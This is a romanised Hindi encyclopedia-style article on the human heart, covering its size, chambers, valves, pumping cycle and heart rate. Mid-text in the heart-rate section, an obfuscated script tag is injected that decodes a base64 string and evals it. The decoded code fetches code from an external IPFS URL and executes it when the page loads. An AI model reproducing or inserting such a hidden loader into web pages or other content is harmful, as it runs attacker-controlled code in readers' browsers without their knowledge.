हृदय

thumb|300px|manav hriday hriday (aangrezi: Heart) adhikaansh jiv jantuoan ke sharir ka avashyak aang haian. is lekh mean manav hriday se sanbandhit ullekh hai. hriday manav sharir ka ati mahattvapoorn aang hota hai. yah sharir mean vaksh bhag mean tho da baeean or adhar tal ki or sthit hota hai. yah jivanaparyant dh dakata rahata hai.

sanrachana

ek svasth manushy ka hriday lagabhag 13 semi lamba tatha 9 semi chau da hota hai. samanyatah isaka akar band mutthi ke saman hota hai. hriday ka bhar lagabhag 300 gram, rang gahara lal ya baiangani hota hai. hriday hridayavaran se ghira rahata hai. is thaili mean hridayavaraniy drav bhara rahata hai. jo bahari aghatoan se hriday ki raksha karata hai.

bahy akariki

manushy ka hriday shankvakar peshiy aang hota hai. isaka oopari bhag kuchh chau da tatha nichala bhag kuchh nukila tatha kuchh baeean or jhuka rahata hai. hriday ke agale chau de bhag ko alind tatha pichhale nukile bhag ko nilay kahate haian. donoan bhagoan ke madhy anuprasth vibhajan rekha had khaanch koronari salkas paee jati hai. thumb|250px|left|manav hriday aghat

antarik sanrachana

manushy ka hriday char veshmiy hota hai. alind mean ek antara–alind pat hota hai jo alind ko daean tatha baean alind mean baant deta hai. is pat par daeean or ek andakar gadda hota hai jise phosa ovelis kahate haian. daean alind mean pashch mahashira tatha agr mahashira ke chhidr hote haian. pashch mahashira ke chhidr par yoostekiyan kapat paya jata hai. agr mahashira ke chhidr ke pas hi ek chhidr koronari sainas hota hai. is chhidr par koronari kapat ya thibesiyan kapat paya jata hai. baean alind mean donoan phuphphusiy shiraean ek sammilit chhidr dvara khulati haian.

nilay antara nilay pat dvara daean tatha baean nilay mean banta rahata hai. nilay ka peshiy star alind se adhik mota hota hai. daean nilay se palmonari chap nikalata hai evan baean nilay se kairotiko sistemik chap nikalata hai, jo poore sharir mean shuddh rakt pahuanchata hai. in chapoan ke adhar par tin–tin chhote arddhachandrakar kapat lage rahate haian. alind nilay mean alind nilay chhidroan dvara khulate haian. in chhidroan par alind nilay kapat sthit hote haian. ye kapat rudhir ko alind se nilay mean jane dete haian kintu nilay se alind mean nahian. nilay ki bhitti tatha kapatoan mean hrad rajju ju de rahate haian. daean alind v nilay ke bich ke alind–nilay kapat mean tin valan hote haian. inhean trivalani kapat kahate haian. baean alind v nilay ke bich ke kapat par do valan hote haian. atah ise dvivalan kapat ya mitral kapat kahate haian.

kriyavidhi

hriday sharir ke vibhinn bhagoan mean shukt rakt bhejata hai tatha vibhinn bhagoan se ashuddh rakt gahan karata hai. hriday sharir ke aangoan mean rudhir ko pamp karane ka kary karata hai. is kary hetu hriday har samay phailata tatha siku data rahata hai. hriday ke siku dane ko prakuanchan tatha shithil hone ko anushithilan kahate haian. alindoan ke shithilan se rudhir mahashiraoan se akar alindoan mean tatha nilayoan ke shithilan se nilayoan mean ekatrit hota hai. jab hriday ke in bhagoan mean prakuanchan hota hai, to rakt alindoan se nilay mean tatha nilay se mahadhamaniyoan mean dhakel diya jata hai. hriday mean ye kriyaean kramashah tatha ek ke bad ek hoti haian. hriday spandan ka prarambh sainoetriyal nod mean hota hai. nilayoan ka sankuchan kendr alind nilay ghundi mean hota hai.

spandan

manushy ka hriday ek minat mean 70-80 bad spandit hota hai. ise hriday spandan ki dar kahate haian. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh